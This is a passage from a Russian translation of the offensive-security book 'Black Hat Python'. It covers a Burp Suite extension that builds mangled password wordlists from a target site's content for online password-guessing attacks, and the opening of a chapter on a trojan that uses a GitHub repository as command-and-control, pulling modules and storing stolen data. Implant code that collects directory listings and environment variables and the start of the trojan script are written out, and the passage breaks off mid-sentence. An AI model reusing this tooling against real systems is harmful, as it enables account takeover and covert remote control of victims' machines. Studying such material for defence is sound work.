Главная страница

Установка Kali Linux


Скачать 2.4 Mb.
НазваниеУстановка Kali Linux
АнкорBlack
Дата15.03.2022
Размер2.4 Mb.
Формат файлаpdf
Имя файлаBlack_Hat_Python_RUS.pdf
ТипДокументы
#398533
страница7 из 13
1   2   3   4   5   6   7   8   9   10   ...   13
и затем правой кнопкой мыши нажмите на запрос GET.
Если расширение правильно загружено, то вы должны увидеть опцию меню Send to Bing, как показано на Рис. 6-9.
Рис. 6-9. Новая опция меню, отображающая наше расширение.
Когда вы нажимаете на эту опцию меню, то в зависимости от того, что вы выбрали при загрузке расширения, вы должны увидеть результаты от Bing, как на Рис. 6-10.

Рис. 6-10. Наше расширение показывает результаты, полученные от поиска Bing API.
И если вы нажмете на вкладку Target в Burp и выберите Scope, вы автоматически увидите новые пункты, добавленные в целевую область, как показано на Рис. 6-11. Целевая область ограничивает такие действия, как атаки, глобальный поиск и сканирование и применяет их только к заданным хостам.

Рис. 6-11. Обнаруженные хосты автоматически добавляются в целевую область Burp.

Как превратить контент сайта в пароль
Очень часто безопасность сводится к одному — паролям пользователя. Печально, но это так.
Что еще хуже, когда речь идет о веб-приложениях, особенно кастомных, то в редких случаях применяется блокировка аккаунта. В других случаях, отсутствуют более строгие требования к паролю. В этих ситуациях, онлайн угадывание пароля может стать билетом к доступу на сайт.
Ключ к онлайн угадыванию пароля — правильный список слов. Вы не можете протестировать 10 миллионов паролей, если вы торопитесь, поэтому вам нужно уметь создавать список слов, ориентированный на нужный сайт. Конечно, в дистрибутиве Kali
Linux есть скрипты, которые обходят сайт и генерируют список слов на основе контента сайта. Если вы уже использовали Burp Spider для обхода сайта, зачем отправлять еще больше трафика, только чтобы сгенерировать список слов? К тому же, те скрипты обычно имеют огромное количество аргументов командной строки, которые нужно запоминать. Если вы, как и я, уже успели запомнить достаточное количество аргументов командной строки, чтобы впечатлить своих друзей, тогда пусть Burp сам делает всю тяжелую работу.
Открываем bhp_wordlist.py и прописываем код: from burp import IBurpExtender from burp import IContextMenuFactory from javax.swing import JMenuItem from java.util import List, ArrayList from java.net import URL
import re from datetime import datetime from HTMLParser import HTMLParser class TagStripper(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.page_text = []
def handle_data(self, data):

self.page_text.append(data)
def handle_comment(self, data):

self.handle_data(data)
def strip(self, html):
self.feed(html)
return " ".join(self.page_text)

class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks self._helpers = callbacks.getHelpers()
self.context = None self.hosts = set()
# Start with something we know is common self.wordlist = set(["password"])

# we set up our extension callbacks.setExtensionName("BHP Wordlist")
callbacks.registerContextMenuFactory(self)
return def createMenuItems(self, context_menu):
self.context = context_menu menu_list = ArrayList()
menu_list.add(JMenuItem("Create Wordlist",
actionPerformed=self.wordlist_menu))
return menu_list
Код в этом списке должен быть вам уже вполне знаком. Начинаем с импорта требуемых модулей. Вспомогательный класс
TagStripper позволит нам убрать все HTML теги из
HTTP ответов, которые мы будем обрабатывать позже. Функция handle_data хранит текст страницы в переменной экземпляра. Мы также определяем функцию

handle_comment
, так как хотим, чтобы слова хранились в комментариях разработчика, которые также будут добавлены в наш список паролей. Функция handle_comment просто вызывает handle_data
( в случае, если мы хотим изменить то, как мы будем обрабатывать

страницу текста).
Функция strip делает из HTML кода объект базового класса и возвращает готовую страницу текста , которая нам потребуется позже. А все остальное — почти то же самое,

что было в начале скрипта bhp_bing.py, который мы только что завершили. Еще раз, главная задача — создать пункт контекстного меню в пользовательском интерфейсе Burp.
Единственное новое здесь — это то, что мы храним наш список слов в наборе, что гарантирует нам отсутствие повторяющихся слов. Мы инициализируем набор с любимого всеми пароля «password» , просто чтобы убедиться, что он попадет в наш окончательный

список.
Теперь добавим логику, чтобы забрать HTTP-трафик у Burp и вернуть его в базовый список слов:
def wordlist_menu(self,event):
# grab the details of what the user clicked http_traffic = self.context.getSelectedMessages()
for traffic in http_traffic:
http_service = traffic.getHttpService()
host = http_service.getHost()
self.hosts.add(host)

http_response = traffic.getResponse()
if http_response:
self.get_words(http_response)
self.display_wordlist()

return def get_words(self, http_response):
headers, body = http_response.tostring().split('\r\n\r\n', 1)
# skip non­text responses if headers.lower().find("content­type: text") == ­1:

return tag_stripper = TagStripper()
page_text = tag_stripper.strip(body)

words = re.findall("[a­zA­Z]\w{2,}", page_text)

for word in words:
# filter out long strings if len(word) <= 12:
self.wordlist.add(word.lower())

return
Наша первая задача — определить функцию wordlist_menu
, которая является нашим обработчиком клика на меню. Она сохраняет название отвечающего хоста и затем

получает HTTP ответ и отправляет его функции get_words
. Отсюда,

get_words разбивает наш заголовок из тела сообщения,
проверяя, что мы пытаемся обработать только текстовые ответы . Класс

TagStripper

очищает HTML-код от оставшегося текста. Мы используем регулярные выражения, чтобы найти все слова, начинающиеся с буквы алфавита, за которой следует два и более «слова» .

Наконец, нужные слова сохраняются нижним регистром в wordlist

Теперь давайте поправим скрипт, чтобы он имел возможность работать с текстом и отображать захваченный список слов: def mangle(self, word):
year = datetime.now().year suffixes = ["", "1", "!", year]

mangled = []
for password in (word, word.capitalize()):
for suffix in suffixes:
mangled.append("%s%s" % (password, suffix))

return mangled def display_wordlist(self):
print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)

for word in sorted(self.wordlist):
for password in self.mangle(word):
print password return
Отлично! Функция mangle берет базовое слово и создает на его основе ряд паролей, используя распространенные «стратегии» создания паролей. В этом примере, мы создаем список суффиксов, которые ставим в конце базового слова, в том числе такой суффикс, как текущий год . Каждый суффикс добавляем к базовому слову , чтобы создать уникальный


пароль. Далее делаем попытку с использованием заглавных букв. В функции isplay_wordlist
, мы распечатываем комментарий в стиле John the Ripper , чтобы мы

не забыли, какие сайта использовались для генерации этого списка слов. Распечатываем результаты и готово.

Проверка на деле
Нажимаем на вкладку Extender в Burp, щелкаем на кнопку Add и применяем ту же самую процедуру, которую мы использовали для наших предыдущих расширений. Когда все будет загружено, переходим по ссылке http://testphp.vulnweb.com/
Правой кнопкой щелкам на панели Site Map и выбираем Spider this host, как показано на
Рис. 6-12.
Рис. 6-12. Спайдеринг (индексация) хоста при помощи Burp.
Как только Burp перейдет по всем ссылкам целевого сайта, выберите все запросы в правой верхней части панели, щелкните правой кнопкой, чтобы появилось контекстное меню и выберите Create Wordlist, как показано на Рис. 6-13.

Рис.6-13. Отправка запроса расширению BHP Worldist.
Теперь проверяем вкладку расширения с результатами. На практике, мы бы сохранили результат в файл, но в целях демонстрации мы отображаем его в списке слов в Burp, как показано на Рис. 6-14.
Теперь вы можете отправить этот список обратно в Burp Intruder, чтобы осуществить атаку угадывания паролей.

Рис. 6-14. Список паролей, основанный на содержании целевого веб-сайта.
Мы показали небольшое подмножество Burp API, в том числе возможность генерировать нашу собственную полезную нагрузку атаки, а также создание расширений, которые взаимодействуют с пользовательским интерфейсом Burp. Во время теста на проникновение, вы часто будете сталкиваться с нестандартными проблемами или необходимостью автоматизации. В этом случае, Burp Extender API предоставит отличный интерфейс, чтобы при помощи кода решить подобные проблемы. По крайней мере, это точно избавит вас от необходимости постоянно копировать и вставлять полученные данные из Burp в другой инструмент.
В этой главе, мы показали, как создать отличный инструмент разведки и добавить его в инструментарий Burp. Само по себе, это расширение может получить только 20 результатов от Bing, поэтому в качестве домашнего задания попробуйте поработать над дополнительными запросами, чтобы получить все результаты. Для этого будет нужно почитать Bing API и написать код, чтобы иметь возможность работать с большими наборами результатов. Конечно, заьемы вы можете дать команду спайдеру Burp обойти все новые сайты, которые вы обнаружите и автоматически искать уязвимости!
[13] Перейдите по ссылке http://www.bing.com/dev/en-us/dev-center/
, чтобы осуществить настройку при помощи бесплатного ключа Bing API.

Глава 7. Github: совместная работа и контроль
Один из самых сложных аспектов создания надежного фреймворка для трояна — это асинхронный контроль, обновление и получение данных от имплантов. Крацне важно иметь относительно универсальный способ, чтобы отправлять код вашим удаленным троянам.
Такая гибкость необходима не только для контроля поведения ваших троянов, но также потому, что у вас может появиться дополнительный код, ориентированный конкретно под данную целевую операционную систему.
За несколько лет работы, хакеры обзавелись разными методами командной работы и контроля, например IRC или даже Twitter. Однако мы попробуем сервис, разработанный специально для кода. Мы будем использовать GitHub, как способ хранения информации о конфигурации импланта и извлеченных данных, а также любых модулей, которые потребуются импланту для выполнения своих задач. Мы также научимся взламывать механизм импорта библиотеки Python, чтобы, когда вы создаете новые модули трояна, ваши импланты автоматически захватывали их и любые зависимые библиотеки напрямую из вашего репозитория. Не забывайте, что ваш трафик, поступающий в GitHub будет зашифрован протоколом SSL. Я практически не сталкивался с компаниями, которые бы активно блокировали сам GitHub.
Также отмечу, что мы будем использовать публичный репозиторий для проведения тестирования. Если у вас есть лишние деньги, то вы можете приобрести частный репозиторий, чтобы никто не видел, чем вы занимаетесь. Все ваши модули, конфигурация и данные будут зашифрованы парами ключей, что я продемонстрирую в Главе 9. Начнем!

Настраиваем GitHub аккаунт
Если у вас нет GitHub аккаунта, тогда переходите на сайт GitHub.com, регистрируйтесь и создавайте новый репозиторий под названием chapter7.
Затем вам нужно будет установить библиотеку Python GitHub API [14], чтобы вы могли автоматизировать свое взаимодействие с вашим репозиторием. Это можно сделать из командной строки: pip install github3.py
Если вы этого еще не сделали, то установите git клиент. Я работаю на своей Linux машине, но он прекрасно работает на любой другой платформе. Теперь давайте создадим базовую структуру для репозитория. В командной строке выполните следующее, делая соответствующие изменения, если вы работаете на Windows:
$ mkdir trojan
$ cd trojan
$ git init
$ mkdir modules
$ mkdir config
$ mkdir data
$ touch modules/.gitignore
$ touch config/.gitignore
$ touch data/.gitignore
$ git add .
$ git commit ­m "Adding repo structure for trojan."
$ git remote add origin https://github.com//chapter7.git
$ git push origin master
Мы создали начальную структуру нашего репозитория. Директория config содержит файлы конфигурации, которые будут определяться уникальным образом для каждого трояна.
Когда вы развертываете троянов, вам нужно, чтобы каждый выполнял свою задачу, и каждый троян будет проверять свой уникальный файл конфигурации. Директория modules содержит любой модулярный код, который может захватить и выполнить троян. Мы будем выполнять особый взлом, чтобы троян мог импортировать библиотеки прямо из GitHub репозитория. Эта удаленная нагрузочная способность также даст вам возможность получать сторонние библиотеки в GitHub, поэтому вам не придется постоянно рекомпилировать своего трояна каждый раз, когда вы захотите добавить новую функциональность или зависимости.
Директория data
— это место, где троян будет проверять любые собранные данные, нажатия на клавиши, скриншоты и так далее. Давайте создадим простые модули и пример файла конфигурации.

Создаем модули
В последних главах, вы будете заниматься грязными делишками со своими троянами, например фиксировать нажатия на клавиши и делать скриншоты. Но для начала, давайте создадим простые модули, которые мы без труда сможем протестировать и применить.
Откройте новый файл в директории modules, назовите его dirlister.py и пропишите следующий код: import os def run(**args):
print "[*] In dirlister module."
files = os.listdir(".")
return str(files)
Этот небольшой сниппет кода просто показывает функцию run
, которая составляет список всех файлов в текущей директории и возвращает этот список как строку. Каждый модуль, который вы разрабатываете, должен показывать функцию run
, которая принимает разное количество аргументов. Это позволяет вам загружать каждый модуль одинаково и оставляет возможность менять файлы конфигурации, чтобы передавать аргументы модулю по вашему желанию.
Давайте создадим еще один модуль под названием environment.py.
import os def run(**args):
print "[*] In environment module."
return str(os.environ)
Этот модуль просто получает переменные среды, которые есть на удаленной машине с нашим трояном. Теперь давайте внедрим этот код в наш GitHub репозиторий, чтобы его мог использовать троян.
Из командной строки введите следующий код из вашей главной директории репозитория:
$ git add .
$ git commit ­m "Adding new modules"
$ git push origin master
Username: ********
Password: ********
Вы должны увидеть, что ваш код перемещается в GitHub репозиторий. Можете зайти в свой аккаунт, чтобы в этмо убедиться. Именно так вы и будете продолжать разрабатывать код в будущем. Самостоятельно попробуйте интегрировать более сложные модули. Если у вас сотня троянов, вы сможете внедрять новые модули в свой GitHub репозиторий. У вас будет возможность проводить тестирование на виртуальной машине или аппаратном обеспечении хоста, который вы контролируете, прежде чем один из ваших удаленных троянов заберет код и будет его использовать.

Конфигурация трояна мы хотим, чтобы наш троян выполнял определенные действия за указанный период времени.
Это означает, что нам нужен способ, чтобы передать трояну, какие действия выполнять и какие модули отвечают за выполнение этих действий. Такой уровень контроля нам может дать файл конфигурации, который также позволяет нам «усыпить» трояна при необходимости. Каждый активированный вами троян должен иметь уникальный идентификатор, чтобы вы могли сортировать полученные данные и контролировать поведение трояна. Мы будем конфигурировать трояна, чтобы он производил поиск в config директории
TROJANID.json. Обратно мы получим простой JSON документ, который сможем проанализировать, конвертировать в словарь Python и затем использовать. С JSON форматом можно легко менять опции конфигурации. Переходим в директорию config и создаем файл под названием abc.json со следующим содержанием:
[
{
"module" : "dirlister"
},
{
"module" : "environment"
}
]
Это список модулей, которые должен запустить удаленный троян. Позже вы увидите, как мы считываем это в документе JSON и затем выполняем итерацию по каждой опции, чтобы загрузить эти модули. Когда вы придумываете идеи с модулями, вы можете обнаружить, что очень полезно включать дополнительные опции конфигурации, так как продление расширения, изменение количества раз для запуска выбранного модуля или количество аргументов, которые передаются этому модулю. В главной директории вашего репозитория прописываем следующую команду:
$ git add .
$ git commit ­m "Adding simple config."
$ git push origin master
Username: ********
Password: ********
Это довольно простой документ конфигурации. Вы предоставляете список словарей, которые говорят трояну, какие модули нужно импортировать и запускать. Когда вы создаете свой фреймворк, вы можете добавить дополнительную функциональность в эти опции конфигурации, в том числе методы извлечения, о чем говорится в Главе 9. Теперь, когда у вас есть файлы конфигурации и простые модули для запуска, вы начнете создавать часть главного трояна.

Создаем троян для GitHub
Сейчас мы попробуем создать главный троян, который захватит опции конфигурации и код для запуска прямо с GitHub. Первый шаг — разработать нужный код для управления соединением, аутентификацией и коммуникацией с GitHub API. Откроем файл, назовем его git_trojan.py и введем следующий код: import json import base64
import sys import time import imp import random import threading import Queue import os from github3 import login trojan_id = "abc"

trojan_config = "%s.json" % trojan_id data_path = "data/%s/" % trojan_id trojan_modules = []
configured = False task_queue = Queue.Queue()
Это простой код настройки, который должен сохранить размер нашего трояна достаточно маленьким при компилировании. Я не зря сказал «относительно» маленьким, потому что скомпилированные в Python двоичные коды, использующие py2exe
1   2   3   4   5   6   7   8   9   10   ...   13


написать администратору сайта